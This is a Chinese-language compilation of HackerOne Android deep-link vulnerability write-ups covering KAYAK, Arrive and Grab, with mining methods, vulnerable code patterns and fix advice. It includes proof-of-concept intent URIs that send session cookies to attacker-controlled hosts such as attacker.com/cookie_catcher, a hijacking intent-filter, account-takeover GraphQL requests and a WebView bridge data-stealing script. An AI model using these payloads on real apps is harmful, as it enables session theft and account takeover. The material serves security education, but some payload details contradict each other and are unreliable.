intent://[host]#[Intent;[extras];end]
scheme=kayak: 应用的Deep Link Scheme
package=com.kayak.android: 目标应用包名
component=com.kayak.android.web.ExternalAuthLoginActivity: 目标导出的Activity
action=android.intent.action.VIEW: 触发Deep Link的Action
S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=...: 注入攻击者URL
-->
<a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://attacker.com/cookie_catcher;end">
Click to view your flight status
</a>
</body>
</html>2. 关键代码逻辑(反编译/伪代码):ExternalAuthLoginActivity中的关键逻辑是将Session ID拼接到重定向URL上。
// 1. 获取未经验证的重定向URL
private final String getRedirectUrl() {
// EXTRA_REDIRECT_URL 参数未经过任何验证
String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
return stringExtra == null ? "" : stringExtra;
}
// 2. 拼接Session ID并重定向
private final void launchCustomTabs() {
// ... 初始化 Custom Tabs ...
// 从 Intent 获取 URL 并构建
Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
// 关键步骤:将用户的会话ID作为GET参数附加到URL上
buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
// 通过 Custom Tabs 打开包含Session ID的恶意URL
i.openCustomTab(this, b10, buildUpon.build(), null);
}
// Session ID的获取
public final String getSessionId() {
// 获取名为 "p1.med.sid" 的会话Cookie值
return getCookieValueInternal(SESSION_COOKIE_NAME);
}当用户点击恶意链接时,应用被唤醒,launchCustomTabs()执行,最终向https://attacker.com/cookie_catcher?SESSION_QUERY_PARAM=<session_id>发送请求,导致Session Cookie泄露。
(总字数:489字)
易出现漏洞的代码模式
此类漏洞通常出现在Android应用中,当开发者需要通过Deep Link机制处理外部认证或重定向逻辑时,由于对外部输入缺乏严格的验证和过滤,导致敏感信息泄露或功能滥用。
1. Manifest配置模式:
导出的Activity(android:exported="true")配置了Deep Link支持(android.intent.category.BROWSABLE),使其可以被外部Intent唤醒。
<activity android:name="[Activity Name]"
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
<data android:scheme="[scheme]"/>
<data android:host="[host]"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/> <!-- 允许从浏览器唤醒 -->
</intent-filter>
</activity>2. 易漏洞代码模式:
在上述导出的Activity中,直接使用Intent中传入的外部URL参数作为重定向目标,且在重定向前将敏感信息(如Session ID、Token)拼接到该URL上,而未对URL的域或协议进行白名单验证。
// 易漏洞模式:未经验证的重定向URL + 敏感信息拼接
String redirectUrl = getIntent().getStringExtra("EXTRA_REDIRECT_URL"); // 外部传入,未验证
Uri.Builder builder = Uri.parse(redirectUrl).buildUpon();
// 敏感信息被拼接到外部URL上
builder.appendQueryParameter("session_id", userSession.getSessionId());
// 执行重定向,将敏感信息发送到外部URL
startActivity(new Intent(Intent.ACTION_VIEW, builder.build())); 安全修复建议:
- 移除
android:exported="true",除非该Activity确实需要被其他应用调用。
- 移除
- 对所有外部传入的URL参数进行严格的白名单验证,确保重定向目标仅限于应用自身的域名或受信任的第三方域名。
- 避免将敏感信息(如Session ID)拼接到重定向URL中,尤其是在重定向到外部域时。应使用安全的机制(如App Links或Intent)来处理认证信息。
(总字数:450字)
- 避免将敏感信息(如Session ID)拼接到重定向URL中,尤其是在重定向到外部域时。应使用安全的机制(如App Links或Intent)来处理认证信息。
Deep Link劫持
案例:KAYAK (报告: https://hackerone.com/reports/1667998)
挖掘手法
漏洞发现者在对移动应用进行零日漏洞研究时,首先通过静态分析KAYAK应用的AndroidManifest.xml文件,发现了一个名为com.kayak.android.web.ExternalAuthLoginActivity的Activity组件被设置为exported="true"。这一配置意味着该组件可以被设备上的任何其他应用调用,或者通过Deep Link从浏览器中触发,构成了潜在的安全风险。
基于这一发现,研究者使用反编译工具对该Activity的Java源代码进行了深入分析。在代码中,他们定位到两个关键函数:getRedirectUrl和launchCustomTabs。分析发现,getRedirectUrl函数从传入的Intent中获取一个URL作为重定向地址,且未进行任何安全校验。而launchCustomTabs函数则会获取当前用户的会话cookie,并将其作为GET参数(?session_cookie=...)拼接到前述获取的重定向URL后面,然后使用Chrome Custom Tabs打开这个最终构造的URL。
这个流程揭示了一个清晰的攻击向量:攻击者可以构造一个恶意的Deep Link,其中包含一个指向攻击者控制的服务器的重定向URL。当登录了KAYAK应用的用户点击这个链接时,应用会启动ExternalAuthLoginActivity,读取恶意的重定向URL,然后将用户的会话cookie附加到该URL上,并将其发送到攻击者的服务器。为了验证这个漏洞,研究者搭建了一个简单的Web服务器来记录所有传入的请求。他们制作了一个包含恶意Deep Link的HTML页面,并在测试设备上点击该链接。最终,他们在服务器的访问日志中成功捕获到了包含受害者会话cookie的请求,从而证实了漏洞的存在和可利用性。
技术细节
该漏洞利用的核心在于通过精心构造的Deep Link来触发一个导出的Activity,并滥用其内部逻辑来窃取用户的会话cookie。攻击流程如下:
- 设置陷阱:攻击者首先需要搭建一个Web服务器,用于接收从受害者应用发送过来的包含敏感信息的请求。例如,一个简单的Python Flask服务器即可记录访问日志。
- 构造Payload:攻击者创建一个HTML页面,其中包含一个指向KAYAK应用的恶意Deep Link。这个链接利用了
ExternalAuthLoginActivity组件。Payload的核心部分是设置一个RedirectUrl参数,该参数指向攻击者控制的服务器地址。例如:<a href="intent://kayak.com/auth?RedirectUrl=http://attacker.com/log#Intent;scheme=https;package=com.kayak.android;end">Click me</a>或者一个更简单的形式,依赖于应用对特定scheme的声明:<a href="kayak://auth?RedirectUrl=http://attacker.com/log">Open KAYAK</a>
- 构造Payload:攻击者创建一个HTML页面,其中包含一个指向KAYAK应用的恶意Deep Link。这个链接利用了
- 攻击执行:受害者在登录KAYAK应用后,如果点击了这个恶意链接,Android系统会通过Intent机制启动
ExternalAuthLoginActivity。该Activity会执行以下Java代码片段中的逻辑:// 从Intent中获取未经验证的重定向URL String redirectUrl = getRedirectUrl(getIntent()); // 获取用户会话cookie并附加到URL上 launchCustomTabs(redirectUrl + "?session_cookie=" + getUserSessionCookie());
- 攻击执行:受害者在登录KAYAK应用后,如果点击了这个恶意链接,Android系统会通过Intent机制启动
- 窃取Cookie:
launchCustomTabs方法会打开一个指向http://attacker.com/log?session_cookie=VICTIM_COOKIE_VALUE的浏览器窗口(Custom Tab)。攻击者的服务器接收到这个请求后,就可以从URL参数中提取出会话cookie,从而实现账户劫持。
- 窃取Cookie:
易出现漏洞的代码模式
此类漏洞通常出现在处理外部调用(如Deep Link或导出的组件)的代码中,特别是当这些代码涉及到重定向或加载外部URL时。关键的易受攻击模式包括:
- Activity/Service/BroadcastReceiver导出(Exported):在
AndroidManifest.xml中将组件的android:exported属性设置为true,但没有实施严格的权限控制或输入验证,使其可以被任意应用调用。<activity android:name=".web.ExternalAuthLoginActivity" android:exported="true" > <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="kayak" android:host="auth" /> </intent-filter> </activity>
- Activity/Service/BroadcastReceiver导出(Exported):在
- 信任外部传入的数据:代码直接从传入的Intent中获取数据(尤其是URL)并直接使用,没有对其来源、格式或内容进行验证。例如,直接将外部传入的URL用于网络请求或在WebView中加载。
// 从Intent中获取URL,未进行验证 Uri intentData = getIntent().getData(); if (intentData != null) { String redirectUrl = intentData.getQueryParameter("RedirectUrl"); // 直接使用redirectUrl,没有检查它是否是受信任的域 loadUrlInWebView(redirectUrl); }
- 信任外部传入的数据:代码直接从传入的Intent中获取数据(尤其是URL)并直接使用,没有对其来源、格式或内容进行验证。例如,直接将外部传入的URL用于网络请求或在WebView中加载。
- 将敏感信息附加到不受信任的URL:在将用户重定向到外部URL或在WebView中加载外部URL之前,将用户的会话令牌、API密钥或其他敏感数据作为查询参数附加到URL上。如果URL本身是可控的,这会导致敏感信息泄露。
// 错误示范:将session token附加到可能被篡改的URL上 String url = getIntent().getStringExtra("url"); String userToken = SessionManager.getUserToken(); String finalUrl = url + "?token=" + userToken; // 将用户重定向到可能恶意的地址,并带上token Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(finalUrl)); startActivity(browserIntent);为了避免此类漏洞,开发者应对所有导出的组件实施严格的访问控制,并对所有来自外部的输入(特别是URL)进行白名单验证,确保只加载或重定向到受信任的域。
- 将敏感信息附加到不受信任的URL:在将用户重定向到外部URL或在WebView中加载外部URL之前,将用户的会话令牌、API密钥或其他敏感数据作为查询参数附加到URL上。如果URL本身是可控的,这会导致敏感信息泄露。
Deep Link劫持导致的账户接管
案例:Arrive (报告: https://hackerone.com/reports/855618)
挖掘手法
该漏洞的挖掘手法主要围绕Android App Links/Deep Link的劫持展开,利用了应用未正确配置其深度链接验证机制的缺陷。
分析思路与关键发现点:
- 识别认证机制: 报告首先确定了Arrive应用使用“魔术链接”(Magic Link)进行登录认证。这种机制通常通过电子邮件发送一个包含一次性登录令牌(token)的URL,用户点击后通过深度链接(Deep Link)将令牌传递给应用完成登录。
- 追踪深度链接: 发现该魔术链接使用了
branch.io服务,链接的域名是qvay.app.link,并且链接中直接包含了敏感的登录token。
- 追踪深度链接: 发现该魔术链接使用了
- 验证App Links配置: 关键的发现是,该
qvay.app.link域名未通过Android App Links机制进行验证。报告作者通过访问该域名的assetlinks.json文件(https://qvay.app.link/.well-known/assetlinks.json),发现其内容为空,这表明该域名未与Arrive应用进行官方关联。
- 验证App Links配置: 关键的发现是,该
- 构造恶意劫持应用: 基于上述发现,攻击者可以构造一个恶意的Android应用,并在其
AndroidManifest.xml中配置一个intent-filter,使其能够监听并处理所有指向https://qvay.app.link的链接。
- 构造恶意劫持应用: 基于上述发现,攻击者可以构造一个恶意的Android应用,并在其
- 实现漏洞利用: 当用户点击魔术链接时,由于系统无法确定哪个应用是该链接的官方处理者(因为App Links验证失败),系统会弹出一个选择器,允许恶意应用劫持该链接。一旦恶意应用劫持了链接,它就能从URL中提取出登录
token。
- 实现漏洞利用: 当用户点击魔术链接时,由于系统无法确定哪个应用是该链接的官方处理者(因为App Links验证失败),系统会弹出一个选择器,允许恶意应用劫持该链接。一旦恶意应用劫持了链接,它就能从URL中提取出登录
- 完成账户接管: 恶意应用获取
token后,可以模拟应用的行为,向arrive-server.shopifycloud.com的/graphql端点发送一个VerifyToken的POST请求,使用窃取的token来换取一个有效的_arrive-server_sessioncookie,从而实现账户接管。
- 完成账户接管: 恶意应用获取
- 发现“加分”攻击路径: 报告还发现了一个“加分”的攻击路径:恶意应用甚至不需要等待用户请求邮件,它可以主动向
/graphql端点发送SendVerificationEmail请求(如果知道用户的邮箱),并在响应中获得一个_arrive-server_sessioncookie,然后等待用户点击邮件中的链接,完成后续的token窃取和会话验证。
- 发现“加分”攻击路径: 报告还发现了一个“加分”的攻击路径:恶意应用甚至不需要等待用户请求邮件,它可以主动向
整个挖掘过程体现了对Android深度链接机制(特别是App Links和intent-filter)的深入理解,以及对应用认证流程中敏感信息(如登录token)传输环节的细致分析。
技术细节
漏洞利用主要分为两个步骤:深度链接劫持和会话验证/账户接管。
1. 深度链接劫持(通过恶意intent-filter):
恶意应用通过在AndroidManifest.xml中声明以下intent-filter来劫持目标域名的深度链接。
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="https" />
<data android:host="qvay.app.link" />
</intent-filter>当用户点击包含登录token的魔术链接(例如:https://qvay.app.link/R3DvpIJKtR?%24uri_redirect_mode=2&token=TOKENHERE...)时,恶意应用会接收到该Intent,并能从Intent的data中解析出完整的URL,从而窃取token。
2. 会话验证与账户接管(通过GraphQL请求):
恶意应用获取token后,向应用服务器的GraphQL API发送VerifyToken请求,用以验证token并获取有效的会话Cookie。
请求Payload (VerifyToken):
POST /graphql HTTP/1.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
# 注意:报告中的Cookie行是示例,实际攻击中可能不需要或使用其他Cookie
# Cookie: _arrive-server_session=2a969ef15e1cc286ca6c5a88433d7173
User-Agent: Dalvik/2.1.0 (Linux; U; Android 8.1.0; Nexus 5X Build/OPM7.181105.004)
Host: arrive-server.shopifycloud.com
Connection: close
Content-Length: 346
{
"operationName": "VerifyToken",
"variables": {
"token": "TOKENHERE"
},
"query": "mutation VerifyToken($token: String!) {\n verifyToken(token: $token) {\n user {\n id\n __typename\n }\n userErrors {\n field\n message\n __typename\n }\n __typename\n }\n}\n"
}服务器响应中会包含一个有效的_arrive-server_session cookie,攻击者使用该Cookie即可接管用户账户。
3. 额外的攻击步骤(SendVerificationEmail):
恶意应用还可以主动触发邮件发送,以获取一个初始的会话Cookie,并为后续的token窃取做准备。
请求Payload (SendVerificationEmail):
POST /graphql HTTP/1.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
User-Agent: Dalvik/2.1.0 (Linux; U; Android 8.1.0; Nexus 5X Build/OPM7.181105.004)
Host: arrive-server.shopifycloud.com
Connection: close
Content-Length: 293
{
"operationName": "SendVerificationEmail",
"variables": {
"email": "EMAILHERE"
},
"query": "mutation SendVerificationEmail($email: String!) {\n sendVerificationEmail(email: $email) {\n userErrors {\n field\n message\n __typename\n }\n __typename\n }\n}\n"
}此请求的响应也会返回一个_arrive-server_session cookie,可用于后续的VerifyToken步骤。
易出现漏洞的代码模式
此类漏洞的根本原因在于未对深度链接(Deep Link)的来源进行充分验证,导致恶意应用可以声明自己是特定URL方案或域名的处理者,从而劫持敏感数据。
易出现此类漏洞的代码模式和配置:
AndroidManifest.xml中未启用App Links验证:
当应用使用HTTP/HTTPS URL作为深度链接时,如果未在AndroidManifest.xml中为对应的intent-filter添加android:autoVerify="true"属性,系统就不会强制执行App Links验证。
错误示例(未启用验证):<activity android:name=".LoginActivity"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="https" android:host="example.app.link" /> </intent-filter> </activity>正确模式(启用验证):<activity android:name=".LoginActivity"> <intent-filter android:autoVerify="true"> <!-- 关键:添加 autoVerify="true" --> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="https" android:host="example.app.link" /> </intent-filter> </activity>
- 服务器端未配置或配置错误的
assetlinks.json:
即使应用端启用了android:autoVerify="true",如果服务器端(如本例中的qvay.app.link)的/.well-known/assetlinks.json文件缺失、为空或配置错误,验证也会失败,导致链接仍可被其他应用劫持。
错误配置示例(文件为空):{}正确配置模式(需包含正确的包名和SHA-256指纹):[{ "relation": ["delegate_permission/common.handle_all_urls"], "target": { "namespace": "android_app", "package_name": "com.example.arrive", "sha256_cert_fingerprints": ["<应用的SHA-256指纹>"] } }]
- 服务器端未配置或配置错误的
- 深度链接中直接暴露敏感信息:
将敏感信息(如登录token、会话ID、密码重置密钥)直接作为URL参数暴露在深度链接中,一旦链接被劫持,敏感信息将直接泄露。
错误代码模式(从Intent中直接获取敏感参数):java // 在接收Deep Link的Activity中 Uri data = getIntent().getData(); String token = data.getQueryParameter("token"); // 敏感信息直接暴露 // ... 使用token进行认证
推荐模式: 敏感信息应通过更安全的机制传递,例如使用一次性、短时有效的、且与设备或客户端ID绑定的Code,并在服务器端进行二次验证,而不是直接传递可用于认证的token。
- 深度链接中直接暴露敏感信息:
本漏洞属于典型的Android App Links配置不当导致的Deep Link劫持,进而引发账户接管。
Deep Link参数注入导致的会话劫持与账户接管
案例:KAYAK (报告: https://hackerone.com/reports/1416997)
挖掘手法
该漏洞的发现和挖掘过程主要集中在对Android应用KAYAK v161.1的Deep Link处理机制的逆向工程和分析上。
1. 目标识别与初步分析:
研究人员首先确定了KAYAK Android应用作为目标。由于Android应用通常使用Deep Link来实现外部跳转和功能调用,研究人员推测Deep Link处理可能存在安全漏洞。
2. 寻找可导出的Activity:
通过对应用的AndroidManifest.xml文件进行分析,研究人员找到了一个被标记为android:exported="true"的Activity:com.kayak.android.web.ExternalAuthLoginActivity。
<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
<intent-filter>
<data android:scheme="kayak"/>
<data android:host="externalAuthentication"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
</activity>这个Activity的exported="true"和BROWSABLE类别表明它可以被外部应用或浏览器中的Deep Link调用,成为潜在的攻击入口。
3. 逆向工程与代码分析:
研究人员对ExternalAuthLoginActivity的Java/Smali代码进行了逆向分析,重点关注其如何处理传入的Intent数据。他们发现了两个关键函数:
getRedirectUrl(): 该函数从Intent中获取一个名为EXTRA_REDIRECT_URL的字符串参数,并将其作为重定向URL返回。由于没有对该参数进行任何验证或过滤,攻击者可以控制这个重定向目标。
launchCustomTabs(): 该函数负责启动一个Custom Tab(自定义浏览器标签页)进行跳转。关键在于,该函数在构建最终的跳转URL时,将用户的会话Cookie(通过l.getInstance().getSessionId()获取)作为一个GET参数(SESSION_QUERY_PARAM)附加到了getRedirectUrl()返回的URL后面。
4. 漏洞利用链的构建:
研究人员意识到,通过构造一个恶意的Deep Link,他们可以:
a. 触发ExternalAuthLoginActivity。
b. 设置EXTRA_REDIRECT_URL指向攻击者控制的服务器(例如Burp Collaborator或任何日志记录服务器)。
c. 应用会将用户的会话Cookie附加到这个恶意URL上,并尝试跳转。
d. 攻击者服务器的日志将捕获到包含用户会话Cookie的完整URL,从而实现Cookie窃取。
5. 权限提升(Account Takeover):
在窃取Cookie后,研究人员发现虽然可以直接查看受害者数据,但无法直接修改。进一步分析Web应用后,他们发现可以通过“账户关联”(Account Linking)功能,将攻击者的Google账户关联到受害者的会话上,从而实现完整的账户接管(Account Takeover),获得查看、编辑和删除信息的权限。
6. 最终Payload构造:
最终的Payload是一个HTML页面,包含一个Intent URI,用于在用户点击时触发攻击:
<a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://malicious.server.com;end">Exploit</a>整个过程体现了从静态分析(AndroidManifest.xml)到动态分析(代码逆向)再到漏洞利用链构建(Deep Link -> Cookie泄露 -> Account Linking)的完整移动应用安全研究思路。
(字数:550字)
技术细节
该漏洞利用的核心在于Android应用对Deep Link中传入的重定向URL参数缺乏校验,同时在处理该重定向时,将敏感的会话Cookie作为GET参数附加到了重定向URL上。
1. 关键代码片段(伪代码):
漏洞存在于ExternalAuthLoginActivity中,主要涉及以下两个方法:
- 获取重定向URL:
private final String getRedirectUrl() {
// 直接从 Intent 中获取 EXTRA_REDIRECT_URL 参数,未进行任何校验
String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
return stringExtra == null ? "" : stringExtra;
}- 启动Custom Tabs并泄露Cookie:
private final void launchCustomTabs() {
// ... 初始化 Custom Tabs Builder ...
// 1. 获取攻击者可控的重定向URL
Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
// 2. 将用户的会话ID(Cookie值)作为GET参数附加到URL上
buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
// 3. 启动浏览器跳转
i.openCustomTab(this, b10, buildUpon.build(), null);
}
// 获取会话ID的方法
public final String getSessionId() {
// SESSION_COOKIE_NAME = "p1.med.sid"
String cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
return cookieValueInternal;
}2. 攻击Payload(Intent URI):
攻击者构造一个恶意的HTML页面,其中包含一个Intent URI,用于触发KAYAK应用并传入恶意参数。
<!DOCTYPE html>
<html>
<body>
<!-- 用户点击此链接即可触发攻击 -->
<a id="exploit" href="intent://externalAuthentication#Intent;
scheme=kayak;
package=com.kayak.android;
component=com.kayak.android.web.ExternalAuthLoginActivity;
action=android.intent.action.VIEW;
S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://malicious.server.com;
end">
Click here to continue
</a>
</body>
</html>scheme=kayak; host=externalAuthentication: 匹配ExternalAuthLoginActivity的Intent Filter。
S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://malicious.server.com: 攻击者设置的恶意重定向URL。
3. 攻击流程:
- 受害者访问攻击者控制的恶意网页。
- 受害者点击Intent URI链接。
- Android系统启动KAYAK应用的
ExternalAuthLoginActivity。
- Android系统启动KAYAK应用的
launchCustomTabs()方法被调用。
- 应用从Intent中提取
https://malicious.server.com作为重定向URL。
- 应用从Intent中提取
- 应用将用户的会话Cookie值(例如
p1.med.sid=ABCDEFGHIJ)作为GET参数附加到该URL上,形成最终的跳转URL:https://malicious.server.com?session_id=ABCDEFGHIJ。
- 应用将用户的会话Cookie值(例如
- 应用跳转到该恶意URL。
- 攻击者服务器日志记录到完整的URL,成功窃取用户的会话Cookie。
- 攻击者使用窃取的Cookie登录Web应用,并通过“账户关联”功能完成账户接管。
(字数:480字)
易出现漏洞的代码模式
此类漏洞的根本原因在于不安全的Deep Link处理,具体表现为:
- 可导出的Activity(Exported Activity):Activity被设置为
android:exported="true",且包含BROWSABLE类别,允许外部应用或浏览器通过Deep Link(Intent URI)调用。
- 可导出的Activity(Exported Activity):Activity被设置为
- 缺乏校验的参数处理:Activity从Intent中获取敏感参数(如重定向URL、回调URL等)时,未对参数值进行来源或内容的严格校验。
- 敏感信息泄露:在处理Deep Link参数的过程中,将敏感的用户信息(如会话ID、Token等)附加到由外部控制的URL上,导致信息泄露。
易漏洞代码模式示例:
1. AndroidManifest.xml中的配置:
当一个Activity被配置为可被外部调用,且支持Deep Link时,应特别注意其内部逻辑。
<!-- 易受攻击的配置:exported="true" 且包含 BROWSABLE 类别 -->
<activity android:name="com.example.InsecureAuthActivity" android:exported="true">
<intent-filter>
<data android:scheme="myapp"/>
<data android:host="auth"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/> <!-- 允许从浏览器调用 -->
</intent-filter>
</activity>2. Activity中的不安全参数使用:
在Activity的代码中,直接使用从Intent获取的外部可控参数来构建包含敏感信息的URL。
// InsecureAuthActivity.java (伪代码)
public class InsecureAuthActivity extends Activity {
private static final String EXTRA_REDIRECT_URL = "redirect_url";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String redirectUrl = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
String sessionId = getSessionManager().getSessionId(); // 获取敏感信息
if (redirectUrl != null) {
// 错误模式:将敏感信息附加到外部可控的URL上
String finalUrl = redirectUrl + "?session_token=" + sessionId;
// 错误模式:未对 redirectUrl 进行白名单校验或域名限制
startBrowser(finalUrl);
}
finish();
}
}安全修复建议:
- 移除
android:exported="true",除非该Activity确实需要被其他应用调用。
- 移除
- 对所有外部传入的URL参数进行严格的白名单校验,确保重定向目标是应用自身的或受信任的域名。
- 避免将敏感信息作为GET参数附加到重定向URL上,尤其是在重定向目标不可信的情况下。如果必须传递,应使用POST请求或更安全的机制(如仅在应用内部使用)。
(字数:480字)
Deep Link导致的WebView JavaScript接口滥用
案例:Grab (报告: https://hackerone.com/reports/401793)
挖掘手法
该漏洞的挖掘过程主要围绕移动应用中的Deep Link和WebView安全配置展开,具体步骤如下:
1. Deep Link的发现与分析:
研究人员首先通过逆向工程或静态分析发现了Grab应用中存在一组Deep Link,其中一个与帮助中心相关的Deep Link引起了注意。该Deep Link的格式大致为grab://open?screenType=HELPCENTER&page=...。通过测试,研究人员发现当该Deep Link被触发时,应用会启动com.grab.pax.support.ZendeskSupportActivity活动,并且会将page参数指定的URL加载到该活动内部的一个WebView中。关键在于,应用没有对page参数进行充分的验证,允许加载任意外部URL。
2. WebView配置的深入检查(关键发现):
由于外部URL被加载到了应用内部的WebView,研究人员进一步检查了该WebView的安全配置。通过分析该Activity的代码,发现了一个严重的安全配置缺陷:WebView通过addJavascriptInterface方法将一个Java对象暴露给了WebView中的JavaScript环境。暴露的代码如下:mWebView.addJavascriptInterface(new com.grab.pax.support.ZendeskSupportActivity.WebAppInterface(this), "Android");
这使得WebView中加载的任何网页(包括攻击者控制的外部网页)都可以通过全局的Android对象调用Java代码中的方法。
3. 敏感JavaScript接口的识别:
研究人员进一步分析了暴露的WebAppInterface类,发现其中包含一个名为getGrabUser()的公共方法,该方法被@android.webkit.JavascriptInterface注解标记,意味着它可以被JavaScript调用。该方法的作用是返回当前用户的敏感信息,例如用户ID、认证Token等。
4. 漏洞利用PoC的构造与验证:
基于上述发现,研究人员构造了一个两阶段的攻击:
a. 第一阶段(Deep Link触发):构造一个包含恶意Deep Link的HTML页面,诱导用户点击,从而在Grab应用内加载攻击者控制的外部页面。
b. 第二阶段(信息窃取):构造一个恶意外部HTML页面(例如page2.html),该页面包含JavaScript代码,利用暴露的Android接口窃取敏感信息。
整个挖掘过程体现了“从外部入口(Deep Link)到内部组件(WebView)再到敏感接口(JavaScript Bridge)”的完整分析思路,最终成功实现了敏感信息泄露。
技术细节
漏洞利用的核心在于滥用WebView暴露的JavaScript接口Android.getGrabUser()来窃取敏感的用户数据。攻击流程和关键代码如下:
1. 攻击流程:
a. 攻击者首先将一个恶意HTML页面(例如page2.html)托管在外部服务器上(例如https://s3.amazonaws.com/edited/page2.html)。
b. 攻击者构造一个Deep Link,将恶意页面的URL作为参数传入:grab://open?screenType=HELPCENTER&page=https://s3.amazonaws.com/edited/page2.html。
c. 攻击者通过钓鱼或其他方式诱导用户点击该Deep Link(例如通过一个简单的HTML页面)。
d. Grab应用被唤醒,并使用内部的WebView加载攻击者指定的恶意URL。
e. 恶意页面中的JavaScript代码执行,调用WebView暴露的Java方法,窃取用户敏感信息。
2. 关键代码片段(恶意HTML/JavaScript Payload):
以下是加载到应用内部WebView中,用于窃取信息的恶意页面page2.html的关键JavaScript代码:
// page2.html 中的 JavaScript
<script type="text/javascript">
var data;
// 检查 Android 接口是否存在
if(window.Android) {
// 调用暴露的 Java 方法 getGrabUser()
data = window.Android.getGrabUser();
}
// 检查 iOS 接口是否存在 (该漏洞也影响iOS)
else if(window.grabUser) {
data = JSON.stringify(window.grabUser);
}
// 将窃取到的数据展示或发送给攻击者服务器
if(data) {
document.write("Stolen data: " + data);
// 实际攻击中,会使用 XMLHttpRequest 或 fetch 将数据发送到攻击者服务器
}
</script>3. 漏洞根源代码(Java/Kotlin):
在com.grab.pax.support.ZendeskSupportActivity中,WebView的配置暴露了敏感接口:
// 暴露敏感接口的 Java 代码
mWebView.addJavascriptInterface(
new com.grab.pax.support.ZendeskSupportActivity.WebAppInterface(this),
"Android" // 暴露给 JavaScript 的对象名
);
// 敏感方法 getGrabUser() 的定义
@android.webkit.JavascriptInterface
public final java.lang.String getGrabUser() {
// ...
// 此处返回包含用户敏感信息的 JSON 字符串
return com.grab.base.p167l.GsonUtils.m7210a(zendeskSupportActivity.getMPresenter().getGrabUser());
}攻击者正是利用了Android对象上的getGrabUser()方法,绕过了同源策略,实现了敏感信息泄露。
易出现漏洞的代码模式
此类漏洞的产生是由于两个主要的安全缺陷共同作用的结果:不安全的Deep Link处理和WebView中敏感JavaScript接口的暴露。
1. 不安全的Deep Link处理模式:
当应用中的Deep Link或Intent允许加载外部URL到应用内部的WebView时,如果没有进行严格的URL白名单验证,就可能引入风险。
- 易漏洞代码模式: 允许通过Intent或Deep Link参数(如
url、page、target)加载任意外部URL。
- 易漏洞代码模式: 允许通过Intent或Deep Link参数(如
- 代码示例(概念性):
java // 危险:直接从 Intent 获取 URL 并加载,未验证来源 String url = getIntent().getStringExtra("page"); if (url != null) { webView.loadUrl(url); } // 正确做法:必须对 url 进行严格的白名单检查,确保只加载应用信任的域名。
- 代码示例(概念性):
2. WebView中敏感JavaScript接口的暴露模式:
在WebView中,使用addJavascriptInterface方法将Java对象暴露给JavaScript时,如果加载的内容来自不可信的外部源,则可能导致远程代码执行(RCE)或敏感信息泄露。在Android 4.2 (API level 17) 之前,所有暴露的方法都可被调用,存在RCE风险。即使在4.2及以后,如果暴露的方法返回敏感信息,仍存在信息泄露风险。
- 易漏洞代码模式: 在加载外部或不可信内容的WebView中,暴露了包含敏感信息或危险操作的Java方法。
- 代码示例(本漏洞模式):
// 危险:在加载外部URL的WebView中暴露了敏感方法 webView.addJavascriptInterface(new WebAppInterface(), "Android"); public class WebAppInterface { // 暴露了敏感数据的方法 @JavascriptInterface public String getGrabUser() { // 返回用户的敏感信息 return user.getSensitiveData(); } } // 最佳实践:仅在加载本地或完全受控的内部内容时使用 addJavascriptInterface, // 且暴露的方法应尽可能少且不涉及敏感操作或数据。
- 代码示例(本漏洞模式):
Deep Link导致的WebView XSS
案例:某Android应用 (报告: https://hackerone.com/reports/1417007)
挖掘手法
漏洞挖掘的核心在于识别并利用Android应用中未对Deep Link参数进行充分验证的WebView加载逻辑。首先,使用apktool等工具对目标APK进行反编译,重点分析AndroidManifest.xml文件。在清单文件中,搜索所有被设置为android:exported="true"的Activity组件,特别是那些包含<intent-filter>并处理android.intent.action.VIEW动作的组件。这些组件通常是Deep Link的入口点。
关键的发现点在于<data>标签中定义的scheme和host,以及Activity处理Intent数据的逻辑。例如,一个Activity可能注册了自定义的scheme(如myapp://)或标准的http/https。一旦识别出Deep Link处理Activity,就需要分析其对应的Java/Smali代码。
